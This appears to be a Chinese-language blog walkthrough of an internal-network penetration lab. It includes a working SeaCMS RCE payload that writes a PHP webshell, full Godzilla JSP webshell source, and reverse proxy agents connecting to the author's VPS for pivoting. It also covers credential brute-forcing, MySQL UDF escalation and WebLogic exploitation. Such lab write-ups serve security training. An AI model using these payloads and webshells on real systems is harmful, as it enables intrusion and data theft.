内网渗透靶场1

flag1(seacms v6.45rce 前台Getshell)

image-20261019204913245

打开可以看到是一个seacms

利用fscan扫描看看有什么漏洞

1
fscan.exe -u http://8.140.236.137:89/

image-20261019204910335

看到存在rce漏洞,就上网找poc打

image-20261019204907327

传了之后抓包

poc

1
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=system("ls");

可以执行rce

image-20261019204903301

image-20261019204859675

ok既然能够rce,那就能写入webshell

poc

1
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=system("echo '<?php eval(\$_POST[\"cmd\"]);?>'>m.php");

蚁剑连接成功

image-20261019204856489

同样也能看到flag

image-20261019204854110

1
flag4{22ddee0793c18171e62cff7eef6625ac}

flag2(内网代理+Mysql+UDF提权)

在蚁剑中开启终端,查看网段信息

1
ifconfig
  • 内网IP:10.10.20.31
  • 网段:10.10.20.0/24

image-20261019204851505

在服务器的/tmp目录下,上传fscan

image-20261019204849128

在/tmp目录下打开终端,因为一开始直接执行./fscan会显示无权限,所以要加执行权限命令

1
chmod +x ./fscan

扫描内网服务

1
./fscan -h 10.10.20.0/24

image-20261019204846511

一开始没看到目录下有生成的结果文件以为是要加写文件的命令

1
./fscan -h 10.10.20.0/24 > r.txt 2>&1

后来才发现是目录没有及时刷新出来

image-20261019204844029

查看扫描结果(两个文件的结果肯定是一样的啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
10.10.20.31:80 open
10.10.20.88:8080 open
10.10.20.166:3306 open
10.10.20.88:8009 open
10.10.20.1:89 open
10.10.20.1:8082 open
10.10.20.1:22 open
10.10.20.1:10000 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://10.10.20.1:8082 code:401 len:17 title:None
[*] WebTitle http://10.10.20.1:10000 code:200 len:637 title:Welcome to nginx!
[+] mysql 10.10.20.166:3306:root 123456
[*] WebTitle http://10.10.20.1:89 code:200 len:21255 title:海洋CMS
[*] WebTitle http://10.10.20.31 code:200 len:21255 title:海洋CMS
[*] WebTitle http://10.10.20.88:8080 code:200 len:11230 title:Apache Tomcat/8.0.43
[+] PocScan http://10.10.20.31 poc-yaml-seacms-sqli
[+] PocScan http://10.10.20.1:89 poc-yaml-seacms-sqli
[+] PocScan http://10.10.20.1:89 poc-yaml-seacmsv645-command-exec
[+] PocScan http://10.10.20.31 poc-yaml-seacmsv645-command-exec
[+] PocScan http://10.10.20.31 poc-yaml-seacms-v654-rce
[+] PocScan http://10.10.20.1:89 poc-yaml-seacms-v654-rce

信息收集:

  • 10.10.20.166:3306:mysql数据库,root的弱口令为123456
  • 10.10.20.88:8080:Apache Tomcat/8.0.43

搭建内网代理,在自己的云服务上开启监听

1
./linux_x64_admin -l 9999

image-20261019204840284

将linux_x64_agent上传到/tmp目录下

image-20261019204838177

然后在蚁剑的终端建立与自己的云服务器的反向连接

1
./linux_x64_agent -c [VPS-IP]:9999

image-20261019204836003

这里没有权限,ok很熟悉了

1
chmod +x ./linux_x64_agent

然后再执行一次上面的命令

image-20261019204833218

这样就成功了

1
2
3
detail
use 0
socks 15000

image-20261019204830704

然后在proxifier上配置好后接受15000端口的流量

image-20261019204828279

然后就可以访问内网了

image-20261019204824248

这里拿到了mysql的密码,可以先利用MDUT看一下mysql服务

1
mysql 10.10.20.166:3306:root 123456

在新增中添加

image-20261019204821045

连接成功后,保存添加然后打开,进行UDF提权

image-20261019204818430

发现没有找到flag,可以尝试用find命令找到flag

1
find / -type f -name "*flag*" 2>/dev/null

image-20261019204815332

ok直接读取flag2.txt拿到第二个flag

image-20261019204812725

1
flag2{530ee2980a42a42bf5ef25954a6fa7fb}

flag3(Tomcat/8.0.43弱口令爆破+后台getshell)

依旧是这个Apache Tomcat/8.0.43,可以在网上找到已有的存在的漏洞

image-20261019204806484

image-20261019204802691

这里需要登录,可以尝试bp抓包爆破

这里要注意的是要关掉Proxifier,先填写下面的代理主机和端口,再勾选使用socks代理

image-20261019204800269

在登录页面输入111:111进行抓包,是在Authorization处进行身份验证,可以对其进行爆破,看到验证位置存在三个变量,我们这里对每一个变量的payload都采用自定义迭代器

image-20261019204757794

image-20261019204754808

image-20261019204750923

image-20261019204747360

添加payload处理规则,与原值一样进行base64编码

image-20261019204744821

不能再勾选url编码

爆破成功了

image-20261019204741732

image-20261019204738148

1
2
3
账户:tomcat

密码:tomact123

成功进入了/manager/html

这里登录这边有点小问题,一开始直接用爆破出的账户密码登录一直登不进去,这里好像要重启一下proxifier再登就能进去了,不知道是环境问题还是我做的过程有问题

看到有地方可以上传war包

image-20261019202229907

这里要补充一下war包的制作

war包制作

先创建一个jsp文件(我是用哥斯拉生成的,也可以网上找

密码是pass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("pass");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

然后利用jar将其打包为war

1
D:\Java\jdk1.8.0_151\bin\jar.exe cvf shell1.war shell1.jsp

image-20261019202241143

这里有个疑问是要两个文件名相同吗,一开始用的是1.war但传了之后不管访问哪个文件名都是403

这样就好了,访问http://10.10.20.88:8080/shell1/shell1.jsp(这个目录和文件名一致就行)

image-20261019204729496

这样子就ok了,这里的jsp是用哥斯拉生成的,就也用哥斯拉连接了(当然蚁剑和冰蝎应该也可以,但是木马可能要改一下

image-20261019204726682

连接成功后添加,找一下flag文件

1
find / -type f -name "*flag*" 2>/dev/null

image-20261019203556432

好像不太行,那就换一个

1
find / -name *flag*

image-20261019203559158

ok拿到第三个flag

image-20261019203602318

1
flag3{8bc05b8ba01d357a44d42b7b16ce7a58}

然后为了方便下面几个flag的获得,这里也可以用蚁剑连,但是jsp文件内容需要稍微修改一下,密码依旧是pass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("pass");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

image-20261019204709171

【踩坑小记😭】

这里在复现的时候其实遇到了一点小问题,用蚁剑连接的时候一直在报7890的error

image-20261020005705113

知道是代理的问题但是还是搞了好久,让ai探测了还是有问题,后来想到可以在蚁剑这种webshell管理器配置代理

image-20261020005916366

因为我是在自己服务器上利用的socks代理,如下填写服务器就是自己服务器的ip,端口就是socks代理的端口

image-20261020010001691

测试要访问的内网地址

image-20261020010201793

image-20261020010218832

没问题之后就可以保存,再次去连接shell的时候就成功了

image-20261020010310778

flag4(poc-yaml-weblogic-cve-2020-14750)

查看ip,可以发现又一个内网网段172.16.224.66/24

1
ip addr  #查看网络接口和 IP 地址信息

image-20261019204716830

依旧是上传fscan文件

1
2
chmod +x fscan
./fscan -h 172.16.224.66/24

结果生成在了result.txt文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
172.16.224.1:10000 open
172.16.224.1:22 open
172.16.224.66:8080 open
172.16.224.221:7001 open
172.16.224.66:8009 open
172.16.224.1:8082 open
[*] WebTitle http://172.16.224.1:8082 code:401 len:17 title:None
[*] WebTitle http://172.16.224.1:10000 code:200 len:637 title:Welcome to nginx!
[*] WebTitle http://172.16.224.66:8080 code:200 len:11230 title:Apache Tomcat/8.0.43
[*] WebTitle http://172.16.224.221:7001 code:404 len:1164 title:Error 404--Not Found
[+] InfoScan http://172.16.224.221:7001 [weblogic]
[+] PocScan http://172.16.224.221:7001 poc-yaml-weblogic-cve-2019-2729-1
[+] PocScan http://172.16.224.221:7001/console/j_security_check poc-yaml-weblogic-console-weak [{username weblogic} {password Oracle@123} {payload UTF-8}]
[+] PocScan http://172.16.224.221:7001 poc-yaml-weblogic-cve-2019-2725 v10
[+] PocScan http://172.16.224.221:7001 poc-yaml-weblogic-cve-2019-2729-2

信息收集

  • http://172.16.224.221:7001:存在weblogic服务
  • [{username weblogic} {password Oracle@123} {payload UTF-8}]:爆出的账户密码

这里再在自己的服务器上开一个内网代理,注意这里监听的端口要与之前区别

1
./linux_x64_admin -l 9998

将linux_x64_agent上传到靶机

1
2
chmod +x linux_x64_agent
./linux_x64_agent -c [VPS-IP]:9998

image-20261020153309529

转发到15001端口

1
2
3
detail
use 0
socks 15001

image-20261020153740563

将Proxifier的代理端口也改为15001

image-20261020154315793

就可以访问到另一个内网主机

1
http://172.16.224.221:7001/

image-20261020154231744

用fscan扫出来的结果中开可以看到

1
[+] PocScan http://172.16.224.221:7001 poc-yaml-weblogic-cve-2020-14750

利用漏洞检测工具扫一下,可以发现是存在cve漏洞的

工具下载地址:Release Java反序列化漏洞利用工具V1.7 20190828 · shack2/javaserializetools

工具启动命令

1
java -jar "Java反序列化漏洞利用工具V1.7.jar"

image-20261020161341592

可以执行命令

image-20261020161400621

那就继续传shell,上传之前做的🐎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("pass");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

image-20261020161559753

利用蚁剑连接

1
http://172.16.224.221:7001//wls-wsat/passwd.jsp

image-20261020202248497

在终端查找flag

1
2
find / -type f -name "*flag*" 2>/dev/null
cat /root/flag4

image-20261020202448088

1
flag4{e196c260edb6fade74c1e5ce7cb7826f}

flag5

继续查看ip,又可以看到一个存在的内网网段:192.168.10.35

1
ifconfig

image-20261020202915168

利用fscan扫一下

1
./fscan -h 192.168.10.35/24

【全局·终】这里实在打不下去了(可能是搭的环境的问题,而且我的服务器一直在掉,连接蚁剑时一直在报7890的报错(并没有挂梯子),一直没有找到解决方法,只能暂且搁置了😭


内网渗透靶场1
https://colourful228.github.io/2026/03/19/内网渗透靶场/
作者
Colourful
发布于
2026年3月19日
更新于
2026年10月22日
许可协议